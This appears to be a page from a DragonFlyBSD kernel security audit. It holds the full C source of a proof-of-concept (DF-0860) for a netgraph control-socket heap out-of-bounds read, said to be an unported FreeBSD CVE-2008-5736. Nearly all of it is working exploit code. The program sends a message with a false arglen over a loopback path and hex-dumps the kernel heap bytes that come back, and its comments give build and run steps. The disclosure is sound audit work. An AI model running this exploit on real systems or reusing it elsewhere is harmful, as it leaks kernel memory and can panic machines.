โฌข DragonFlyBSD Kernel Audit
DF-0860 / df0860.c
โ† back to finding โ†“ download raw
/*
 * DF-0860 - ngc_send missing ng_mesg arglen validation -> heap OOB read
 *
 * The netgraph control-socket send path (ng_socket.c:ngc_send) copies the
 * user's datagram into a kmalloc(len+1) buffer and casts it to (struct ng_mesg *)
 * WITHOUT checking that:
 *   (a) len >= sizeof(struct ng_mesg)   (header fits), and
 *   (b) msg->header.arglen <= len - sizeof(struct ng_mesg)  (arglen is honest).
 *
 * When the message loops back to the same socket node (path "."), ngs_rcvmsg()
 * hands the SAME undersized buffer to ship_msg(), which computes
 *     msglen = sizeof(struct ng_mesg) + msg->header.arglen
 * and calls m_devget(msg, msglen, ...) โ€” copying msglen bytes out of the tiny
 * buffer into an mbuf queued on the socket's so_rcv.  recvfrom() then returns
 * those (sizeof(ng_mesg) + arglen) bytes to userspace, the tail being whatever
 * kernel heap bytes live past the allocation.
 *
 * This is the DragonFlyBSD instance of FreeBSD CVE-2008-5736 (svn r184036),
 * which was never ported.
 *
 * PRIVILEGE GATE: creating a netgraph *control* socket requires
 *   caps_priv_check(p_ucred, SYSCAP_RESTRICTEDROOT)   (ng_socket.c:172)
 * i.e. euid 0.  An unprivileged user gets EPERM (or EPROTONOSUPPORT if the
 * ng_socket module is not loaded).  The trigger is therefore root-only, so
 * the realistic impact is a root->kernel heap info-leak (and a DoS panic if
 * arglen is large enough to push the read across an unmapped page boundary).
 *
 * Build:  cc -O2 -o df0860 df0860.c
 * Run  :  ./df0860            (root only; needs `kldload ng_socket` first)
 *         LEAK_BYTES=2048 ./df0860   (tune how far past the buffer we read)
 *
 * Expected on the BUGGY kernel (as root): prints "LEAK: ..." with a hex dump
 *   of >= LEAK_BYTES bytes that were NOT part of our 52-byte send โ€” kernel
 *   heap residue, byte-for-byte different across runs.
 * Expected on a FIXED kernel: sendto() returns EINVAL (arglen rejected), or
 *   recvfrom() returns exactly sizeof(ng_mesg)+0 honest bytes โ€” no leak.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* ---- netgraph constants (mirror sys/netgraph/{ng_message,socket/ng_socket}.h) ---- */
#ifndef AF_NETGRAPH
#define AF_NETGRAPH   32
#endif
#define NG_VERSION    2
#define NG_CONTROL    2
#define NG_CMDSTRSIZ  32

struct ng_msghdr_df {
	u_int8_t  version;
	u_int8_t  spare;
	u_int16_t arglen;
	u_int32_t flags;
	u_int32_t token;
	u_int32_t typecookie;
	u_int32_t cmd;
	u_int8_t  cmdstr[NG_CMDSTRSIZ];
};

struct ng_mesg_df {
	struct ng_msghdr_df header;
	u_int8_t data[1];
};

/* sizeof(struct ng_mesg) header == 52 (1+1+2+4+4+4+4+32) */
#define NG_HDR_SZ (1+1+2+4+4+4+4+32)

struct sockaddr_ng_df {
	u_int8_t sg_len;
	u_int8_t sg_family;
	char     sg_data[64];
};

static void hexdump(const char *label, const u_int8_t *p, int n) {
	printf("%s (%d bytes):\n", label, n);
	for (int i = 0; i < n; i++) {
		if ((i & 15) == 0) printf("  %04x:", i);
		printf(" %02x", p[i]);
		if ((i & 15) == 15) printf("\n");
	}
	if (n & 15) printf("\n");
}

int main(int argc, char **argv) {
	int leak_bytes = 256;
	if (argc > 1) leak_bytes = atoi(argv[1]);
	const char *e = getenv("LEAK_BYTES");
	if (e) leak_bytes = atoi(e);
	if (leak_bytes < 1) leak_bytes = 1;
	if (leak_bytes > 60000) leak_bytes = 60000;   /* arglen is u16 */

	int s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (s < 0) {
		printf("socket(AF_NETGRAPH,SOCK_DGRAM,NG_CONTROL) failed: errno=%d (%s)\n",
		       errno, strerror(errno));
		if (errno == EPERM)
			printf("GATE: EPERM โ€” netgraph control socket requires "
			       "SYSCAP_RESTRICTEDROOT (euid 0). Unprivileged users cannot "
			       "reach the bug.\n");
		else if (errno == EPROTONOSUPPORT || errno == EAFNOSUPPORT)
			printf("GATE: protocol not supported โ€” `kldload ng_socket` "
			       "(root) first.\n");
		return 2;
	}
	printf("opened netgraph control socket fd=%d (euid=%d)\n", s, geteuid());

	/* Craft a 52-byte ng_mesg header (NO data payload) with a lying arglen. */
	u_int8_t pkt[NG_HDR_SZ];
	memset(pkt, 0, sizeof(pkt));
	struct ng_mesg_df *m = (struct ng_mesg_df *)pkt;
	m->header.version    = NG_VERSION;
	m->header.arglen     = (u_int16_t)leak_bytes;   /* the lie */
	m->header.token      = 0x1234;
	/* typecookie must NOT be NGM_GENERIC_COOKIE (851672668) nor
	 * NGM_SOCKET_COOKIE (851601233) so ngs_rcvmsg falls through to ship_msg. */
	m->header.typecookie = 0xDEADBEEf;
	m->header.cmd        = 0x42;
	memcpy(m->header.cmdstr, "x", 2);

	/* Destination address: "." = loop back to this node (ng_path2node). */
	struct sockaddr_ng_df sa;
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NETGRAPH;
	sa.sg_data[0] = '.';
	sa.sg_len = 2 + 1;            /* family + len + "." + implicit NUL */

	printf("sending %d-byte datagram with header.arglen=%u (claiming %u data bytes) "
	       "-> path \".\"\n", (int)sizeof(pkt), (unsigned)leak_bytes, (unsigned)leak_bytes);

	ssize_t sr = sendto(s, pkt, sizeof(pkt), 0,
			    (struct sockaddr *)&sa, sa.sg_len);
	if (sr < 0) {
		printf("sendto failed: errno=%d (%s)\n", errno, strerror(errno));
		/* A fixed kernel rejects the lying arglen here -> EINVAL. */
		close(s);
		return (errno == EINVAL) ? 0 : 3;
	}
	printf("sendto returned %zd\n", sr);

	/* Read whatever the kernel queued on so_rcv.  On the buggy kernel this is
	 * sizeof(ng_mesg) + arglen bytes โ€” the tail being leaked heap. */
	int rcvlen = NG_HDR_SZ + leak_bytes + 64;
	u_int8_t *buf = malloc(rcvlen);
	if (!buf) { perror("malloc"); close(s); return 4; }

	struct sockaddr_ng_df rsa;
	socklen_t rsalen = sizeof(rsa);
	ssize_t rr = recvfrom(s, buf, rcvlen, 0,
			      (struct sockaddr *)&rsa, &rsalen);
	if (rr < 0) {
		printf("recvfrom failed: errno=%d (%s)\n", errno, strerror(errno));
		free(buf); close(s); return 5;
	}
	printf("recvfrom returned %zd bytes\n", rr);

	/* We sent exactly NG_HDR_SZ (52) bytes of honest content.  Anything past
	 * offset NG_HDR_SZ in the reply is kernel heap the kernel should never
	 * have copied out. */
	int honest = NG_HDR_SZ;
	if (rr <= honest) {
		printf("NO LEAK: reply (%zd bytes) <= honest header (%d bytes). "
		       "arglen validation appears present.\n", rr, honest);
	} else {
		int leaked = (int)rr - honest;
		printf("LEAK: kernel returned %d bytes past our %d-byte header "
		       "(arglen lied as %u):\n", leaked, honest, (unsigned)leak_bytes);
		hexdump("  leaked heap bytes", buf + honest, leaked);
		/* Heuristic: count non-zero bytes to show it is real residue, not zeros. */
		int nz = 0;
		for (int i = 0; i < leaked; i++) if (buf[honest + i]) nz++;
		printf("  (non-zero bytes in leak: %d / %d)\n", nz, leaked);
	}

	free(buf);
	close(s);
	return 0;
}